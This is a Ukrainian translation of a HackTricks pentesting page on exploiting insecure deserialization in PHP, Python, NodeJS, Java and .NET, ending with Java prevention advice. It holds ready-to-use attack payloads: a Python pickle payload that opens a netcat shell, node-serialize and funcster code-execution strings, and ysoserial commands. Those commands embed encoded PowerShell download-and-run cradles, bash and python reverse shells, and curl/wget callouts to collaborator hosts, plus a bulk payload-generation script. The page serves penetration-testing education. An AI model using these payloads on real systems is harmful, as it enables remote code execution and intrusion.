Deserialization

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Серіалізація розуміється як метод перетворення об'єкта в формат, який може бути збережений, з метою або збереження об'єкта, або передачі його як частини процесу комунікації. Ця техніка часто використовується для того, щоб забезпечити можливість відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.

Десеріалізація, навпаки, є процесом, який протидіє серіалізації. Вона включає в себе прийняття даних, які були структуровані у певному форматі, та відновлення їх у вигляді об'єкта.

Десеріалізація може бути небезпечною, оскільки вона потенційно дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду або викликати неочікувану поведінку програми під час процесу відновлення об'єкта.

PHP

У PHP під час процесів серіалізації та десеріалізації використовуються конкретні магічні методи:

  • __sleep: Викликається під час серіалізації об'єкта. Цей метод повинен повертати масив імен всіх властивостей об'єкта, які повинні бути серіалізовані. Часто використовується для збереження невиконаних даних або виконання схожих завдань очищення.

  • __wakeup: Викликається під час десеріалізації об'єкта. Використовується для відновлення будь-яких з'єднань з базою даних, які можуть бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.

  • __unserialize: Цей метод викликається замість __wakeup (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації порівняно з __wakeup.

  • __destruct: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт завершується. Зазвичай використовується для завдань очищення, таких як закриття файлових дескрипторів або з'єднань з базою даних.

  • __toString: Цей метод дозволяє обробляти об'єкт як рядок. Він може бути використаний для читання файлу або інших завдань на основі викликів функцій всередині нього, надаючи ефективне текстове представлення об'єкта.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Якщо ви подивитеся на результати, ви побачите, що функції __wakeup та __destruct викликаються під час десеріалізації об'єкта. Зверніть увагу, що в деяких посібниках ви знайдете, що функція __toString викликається при спробі вивести деякий атрибут, але, здається, це вже не відбувається.

Метод __unserialize(array $data) викликається замість __wakeup(), якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей та виконання будь-яких необхідних завдань під час десеріалізації.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Ви можете прочитати пояснене приклад PHP тут: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, тут https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf або тут https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Десеріалізація + Автозавантаження Класів

Ви можете використовувати функціонал автозавантаження PHP для завантаження довільних php файлів та іншого:

pagePHP - Deserialization + Autoload Classes

Серіалізація Звернених Значень

Якщо з якоїсь причини ви хочете серіалізувати значення як посилання на інше серіалізоване значення, ви можете:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial для PHP)

PHPGGC може допомогти вам генерувати корисні навантаження для зловживання десеріалізацією PHP. Зверніть увагу, що у декількох випадках ви не зможете знайти спосіб зловживання десеріалізацією в початковому коді додатку, але ви можете зловживати кодом зовнішніх PHP розширень. Тому, якщо можете, перевірте phpinfo() сервера та шукайте в інтернеті (навіть на гаджетах PHPGGC) можливі гаджети, якими ви можете зловживати.

десеріалізація метаданих phar://

Якщо ви знайшли LFI, який просто читає файл і не виконує php-код всередині нього, наприклад, використовуючи функції, такі як file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize(). Ви можете спробувати зловживати десеріалізацією, яка відбувається під час читання файлу за допомогою протоколу phar. Для отримання додаткової інформації прочитайте наступний пост:

pagephar:// deserialization

Python

Pickle

Коли об'єкт розпаковується, буде виконана функція __reduce__. При використанні, сервер може повернути помилку.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Для отримання додаткової інформації про виходи з в'язниць pickle перевірте:

pageBypass Python sandboxes

Yaml & jsonpickle

На наступній сторінці представлена техніка зловживання небезпечною десеріалізацією в бібліотеках python yamls і завершується інструментом, який можна використовувати для генерації навантаження RCE десеріалізації для Pickle, PyYAML, jsonpickle та ruamel.yaml:

pagePython Yaml Deserialization

Забруднення класу (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS не має "магічних" функцій як PHP або Python, які будуть виконуватися лише для створення об'єкта. Але в ньому є деякі функції, які часто використовуються навіть без прямого виклику такі як toString, valueOf, toJSON. Якщо зловживати десеріалізацією, ви можете порушити ці функції для виконання іншого коду (потенційно зловживаючи забрудненням прототипів), ви можете виконати довільний код, коли вони будуть викликані.

Ще один "магічний" спосіб виклику функції без прямого виклику полягає в порушенні об'єкта, який повертається асинхронною функцією (обіцянкою). Оскільки, якщо ви перетворите цей об'єкт повернення в іншу обіцянку з властивістю, яка називається "then" типу функція, вона буде виконана просто тому, що вона повертається іншою обіцянкою. Перейдіть за цим посиланням для отримання додаткової інформації.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ та забруднення prototype

Якщо ви хочете дізнатися більше про цю техніку, подивіться наступний навчальний посібник:

pageNodeJS - __proto__ & prototype Pollution

Ця бібліотека дозволяє серіалізувати функції. Приклад:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Серіалізований об'єкт буде виглядати:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Ви можете побачити на прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець _$$ND_FUNC$$_.

У файлі node-serialize/lib/serialize.js ви можете знайти той самий прапорець і як код його використовує.

Як ви можете побачити в останньому шматку коду, якщо прапорець знайдено, використовується eval для десеріалізації функції, отже, введення користувача використовується всередині функції eval.

Однак, просто серіалізація функції не виконає її, оскільки потрібно, щоб якась частина коду викликала y.rce у нашому прикладі, і це дуже малоймовірно. В будь-якому випадку, ви можете просто змінити серіалізований об'єкт, додавши деякі дужки, щоб автоматично виконати серіалізовану функцію при десеріалізації об'єкта. У наступному шматку коду зверніть увагу на останню дужку і на те, як функція unserialize автоматично виконає код:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Як вже було вказано, ця бібліотека отримає код після _$$ND_FUNC$$_ і виконає його за допомогою eval. Тому, щоб автоматично виконати код, ви можете видалити частину створення функції та останню дужку і просто виконати JS однорядковий вираз як у наступному прикладі:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Ви можете знайти тут додаткову інформацію про те, як використовувати цю уразливість.

Значимим аспектом funcster є недоступність стандартних вбудованих об'єктів; вони виходять за межі доступного обсягу. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до винятків, таких як "ReferenceError: console is not defined", коли використовуються команди типу console.log() або require(something).

Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе за допомогою конкретного підходу. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного уривка:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Для отримання більш детальної інформації прочитайте цей джерело](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

Пакет serialize-javascript призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі відповідальні за реалізацію власного методу десеріалізації. Пряме використання eval рекомендується в офіційному прикладі для десеріалізації серіалізованих даних:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Якщо ця функція використовується для десеріалізації об'єктів, ви можете легко використати це:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Для додаткової інформації прочитайте цей джерело.

Бібліотека Cryo

На наступних сторінках ви знайдете інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:

Java - HTTP

У Java виклики десеріалізації виконуються під час процесу десеріалізації. Цю виконавчу можна використовувати зловмисниками, які створюють шкідливі навантаження, що викликають ці виклики, що призводить до потенційного виконання шкідливих дій.

Відбитки

White Box

Для виявлення потенційних вразливостей серіалізації в кодовій базі шукайте:

  • Класи, які реалізують інтерфейс Serializable.

  • Використання функцій java.io.ObjectInputStream, readObject, readUnshare.

Приділіть особливу увагу:

  • XMLDecoder, використовуваний з параметрами, визначеними зовнішніми користувачами.

  • Метод fromXML бібліотеки XStream, особливо якщо версія XStream менше або дорівнює 1.46, оскільки вона піддається проблемам серіалізації.

  • ObjectInputStream разом з методом readObject.

  • Реалізація методів, таких як readObject, readObjectNodData, readResolve або readExternal.

  • ObjectInputStream.readUnshared.

  • Загальне використання Serializable.

Black Box

Для тестування у чорній скриньці шукайте конкретні підписи або "Магічні байти", які вказують на серіалізовані об'єкти Java (походять від ObjectInputStream):

  • Шістнадцятковий шаблон: AC ED 00 05.

  • Шаблон Base64: rO0.

  • Заголовки відповіді HTTP з Content-type, встановленим на application/x-java-serialized-object.

  • Шістнадцятковий шаблон, що вказує на попередню компресію: 1F 8B 08 00.

  • Шаблон Base64, що вказує на попередню компресію: H4sIA.

  • Веб-файли з розширенням .faces та параметром faces.ViewState. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як детально описано в пості про десеріалізацію Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Перевірте, чи є вразливість

Якщо ви хочете дізнатися, як працює вразливість Java Deserialized exploit, вам варто ознайомитися з Основною десеріалізацією Java, Десеріалізацією Java DNS та Пейлоудом CommonsCollection1.

Тестування на білому ящику

Ви можете перевірити, чи встановлено будь-яку програму з відомими вразливостями.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Ви можете спробувати перевірити всі бібліотеки, відомі як вразливі, і для яких Ysoserial може надати експлойт. Або ви можете перевірити бібліотеки, вказані на Java-Deserialization-Cheat-Sheet. Ви також можете використовувати gadgetinspector, щоб шукати можливі ланцюжки гаджетів, які можна використовувати. Під час запуску gadgetinspector (після його побудови) нехай вас не турбують тонни попереджень/помилок, через які він проходить, і дайте йому завершити. Він запише всі виявлення у gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Будь ласка, зверніть увагу, що gadgetinspector не створить експлойт і може вказувати на помилкові позитиви.

Чорний ящиковий тест

За допомогою розширення Burp gadgetprobe ви можете визначити, які бібліотеки доступні (і навіть версії). З цією інформацією може бути легше вибрати навантаження, щоб використати вразливість. Прочитайте це, щоб дізнатися більше про GadgetProbe. GadgetProbe спрямований на десеріалізації ObjectInputStream.

За допомогою розширення Burp Java Deserialization Scanner ви можете визначити вразливі бібліотеки, які можна використовувати з ysoserial та експлуатувати їх. Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner. Java Deserialization Scanner спрямований на десеріалізації ObjectInputStream.

Ви також можете використовувати Freddy, щоб виявити вразливості десеріалізації в Burp. Цей плагін виявить вразливості, пов'язані не тільки з ObjectInputStream, але також з вразливостями від бібліотек десеріалізації Json та Yml. У режимі активного сканування він спробує підтвердити їх, використовуючи навантаження зі сном або DNS. Ви можете знайти більше інформації про Freddy тут.

Тестування серіалізації

Не все полягає в перевірці використання сервером вразливої бібліотеки. Іноді ви можете змінити дані всередині серіалізованого об'єкта та обійти деякі перевірки (можливо, надати вам права адміністратора всередині веб-додатка). Якщо ви знаходите серіалізований об'єкт Java, який надсилається до веб-додатка, ви можете використати SerializationDumper для виведення серіалізованого об'єкта у більш зрозумілому форматі для людини. Знання, які дані ви надсилаєте, полегшить їх зміну та обхід деяких перевірок.

Експлойт

ysoserial

Основний інструмент для експлуатації десеріалізації Java - це ysoserial (завантажте тут). Ви також можете розглянути використання ysoseral-modified, який дозволить вам використовувати складні команди (з трубками, наприклад). Зверніть увагу, що цей інструмент спрямований на експлуатацію ObjectInputStream. Я б почав використовувати навантаження "URLDNS" перед навантаженням RCE, щоб перевірити можливість ін'єкції. У будь-якому випадку, зверніть увагу, що можливо, навантаження "URLDNS" не працює, але інше навантаження RCE - так.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

При створенні навантаження для java.lang.Runtime.exec() ви не можете використовувати спеціальні символи такі як ">" або "|" для перенаправлення виводу виконання, "$()" для виконання команд або навіть передавати аргументи до команди, розділені пробілами (можна виконати echo -n "hello world", але не можна виконати python2 -c 'print "Hello world"'). Для правильного кодування навантаження ви можете скористатися цим веб-сайтом.

Не соромтеся використовувати наступний скрипт для створення всіх можливих навантажень виконання коду для Windows та Linux, а потім перевірте їх на вразливій веб-сторінці:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

серійний вбивця обхідних гаджетів

Ви можете використовувати https://github.com/pwntester/SerialKillerBypassGadgetCollection разом з ysoserial для створення більше експлойтів. Додаткова інформація про цей інструмент у слайдах доповіді, де був представлений інструмент: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec можна використовувати для генерації політів для експлуатації різних бібліотек серіалізації Json та Yml в Java. Для компіляції проекту мені потрібно було додати ці залежності до pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Встановіть maven, та скомпілюйте проект:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Дізнайтеся більше про цю бібліотеку Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Лабораторії

Чому

Java використовує серіалізацію для різних цілей, таких як:

  • HTTP-запити: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.

  • RMI (Віддалене виклик методу): Протокол Java RMI, який повністю покладається на серіалізацію, є важливим для віддаленого зв'язку в додатках Java.

  • RMI через HTTP: Цей метод часто використовується Java-орієнтованими веб-додатками з товстим клієнтом, які використовують серіалізацію для всіх об'єктних комунікацій.

  • JMX (Java Management Extensions): JMX використовує серіалізацію для передачі об'єктів по мережі.

  • Спеціальні протоколи: У Java стандартною практикою є передача сирого об'єкта Java, що буде продемонстровано в майбутніх прикладах використання уразливостей.

Запобігання

Тимчасові об'єкти

Клас, який реалізує Serializable, може використовувати transient для будь-якого об'єкта всередині класу, який не повинен бути серіалізований. Наприклад:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Уникайте серіалізації класу, який повинен реалізувати Serializable

У сценаріях, де певні об'єкти повинні реалізувати інтерфейс Serializable через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не можуть бути десеріалізовані, визначивши final метод readObject(), який постійно генерує виняток, як показано нижче:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Покращення безпеки десеріалізації в Java

Налаштування java.io.ObjectInputStream є практичним підходом для захисту процесів десеріалізації. Цей метод підходить, коли:

  • Код десеріалізації перебуває під вашим контролем.

  • Класи, які очікуються для десеріалізації, відомі.

Перевизначте метод resolveClass() для обмеження десеріалізації лише до дозволених класів. Це запобігає десеріалізації будь-якого класу, крім тих, які явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише до класу Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Використання Java Agent для підвищення безпеки пропонує резервний варіант, коли модифікація коду неможлива. Цей метод застосовується головним чином для чорного списку шкідливих класів, використовуючи параметр JVM:

-javaagent:name-of-agent.jar

Воно надає спосіб захисту десеріалізації динамічно, ідеально підходить для середовищ, де негайні зміни коду неможливі.

Перевірте приклад у rO0 від Contrast Security

Реалізація фільтрів серіалізації: Java 9 ввела фільтри серіалізації через інтерфейс ObjectInputFilter, що надає потужний механізм для вказання критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.

Для використання фільтрів серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації або налаштувати його динамічно для конкретних потоків. Наприклад:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Використання Зовнішніх Бібліотек для Підвищення Безпеки: Бібліотеки, такі як NotSoSerial, jdeserialize та Kryo, пропонують розширені можливості для контролю та моніторингу десеріалізації в Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як створення білих або чорних списків класів, аналіз серіалізованих об'єктів перед десеріалізацією та впровадження власних стратегій серіалізації.

  • NotSoSerial перехоплює процеси десеріалізації для запобігання виконанню ненадійного коду.

  • jdeserialize дозволяє аналізувати серіалізовані об'єкти Java без їх десеріалізації, допомагаючи виявляти потенційно шкідливий вміст.

  • Kryo є альтернативним фреймворком серіалізації, який підкреслює швидкість та ефективність, пропонуючи налаштовані стратегії серіалізації, які можуть підвищити безпеку.

Посилання

Впровадження JNDI Injection та log4Shell

Дізнайтеся, що таке JNDI Injection, як його можна зловживати через RMI, CORBA та LDAP, а також як експлуатувати log4shell (і приклад цієї уразливості) на наступній сторінці:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Java Message Service (JMS) API - це Java API середовища повідомлень для відправки повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробник-споживач. JMS є частиною Java Platform, Enterprise Edition (Java EE) і був визначений специфікацією, розробленою в Sun Microsystems, але яка зараз керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, відправляти, отримувати та читати повідомлення. Він дозволяє зв'язок між різними компонентами розподіленого додатка бути слабо зв'язаним, надійним та асинхронним. (З Wikipedia).

Продукти

Існує кілька продуктів, які використовують це середовище для відправки повідомлень:

Експлуатація

Отже, в основному існує чимало сервісів, які використовують JMS у небезпечний спосіб. Тому, якщо у вас є достатньо привілеїв для відправлення повідомлень на ці сервіси (зазвичай вам знадобляться дійсні облікові дані), ви зможете відправити шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником. Це означає, що в цьому використанні всі клієнти, які будуть використовувати це повідомлення, будуть заражені.

Пам'ятайте, що навіть якщо сервіс уразливий (тому що небезпечно десеріалізує введення користувача), вам все одно потрібно знайти дійсні гаджети для експлуатації уразливості.

Інструмент JMET був створений для підключення та атаки цих сервісів, відправляючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів. Ці експлойти будуть працювати, якщо сервіс все ще уразливий і якщо будь-який з використаних гаджетів є вразливим додатком.

Посилання

.Net

У контексті .Net експлойти десеріалізації працюють подібно до тих, що знайдені в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.

Відбиток

WhiteBox

Джерело коду слід перевірити на випадки:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Увага повинна бути зосереджена на серіалізаторах, які дозволяють визначати тип за допомогою змінної, яка перебуває під контролем користувача.

BlackBox

Пошук повинен бути спрямований на рядок, закодований у Base64 AAEAAAD///// або будь-який схожий шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, який буде десеріалізований. Це може включати, але не обмежується, структури JSON або XML, які містять TypeObject або $type.

ysoserial.net

У цьому випадку ви можете використовувати інструмент ysoserial.net для створення експлойтів десеріалізації. Після завантаження репозиторію git вам слід скомпілювати інструмент за допомогою, наприклад, Visual Studio.

Якщо ви хочете дізнатися, як ysoserial.net створює свій експлойт, ви можете перевірити цю сторінку, де пояснено гаджет ObjectDataProvider + ExpandedWrapper + форматер Json.Net.

Основні параметри ysoserial.net включають: --gadget, --formatter, --output та --plugin.

  • --gadget використовується для вказівки гаджета для зловживання (вказати клас/функцію, яку буде використано під час десеріалізації для виконання команд).

  • --formatter, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яку бібліотеку використовує back-end для десеріалізації навантаження та використовувати ту ж саму для його серіалізації)

  • --output використовується для вказівки, чи хочете ви експлойт у сирому або кодованому у Base64 вигляді. Зауважте, що ysoserial.net буде кодувати навантаження, використовуючи UTF-16LE (кодування, яке за замовчуванням використовується в Windows), тому якщо ви отримаєте сире значення і просто закодуєте його з консолі Linux, у вас можуть виникнути деякі проблеми з сумісністю кодування, які завадять експлойту працювати належним чином (у HTB JSON box навантаження працювало як у UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати).

  • --plugin ysoserial.net підтримує плагіни для створення експлойтів для конкретних фреймворків, таких як ViewState

Додаткові параметри ysoserial.net

  • --minify надасть менше навантаження (якщо це можливо)

  • --raf -f Json.Net -c "anything" Це вказує всі гаджети, які можна використовувати з вказаним форматером (Json.Net у цьому випадку)

  • --sf xml ви можете вказати гаджет (-g) і ysoserial.net буде шукати форматери, що містять "xml" (без врахування регістру)

Приклади ysoserial для створення експлойтів:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
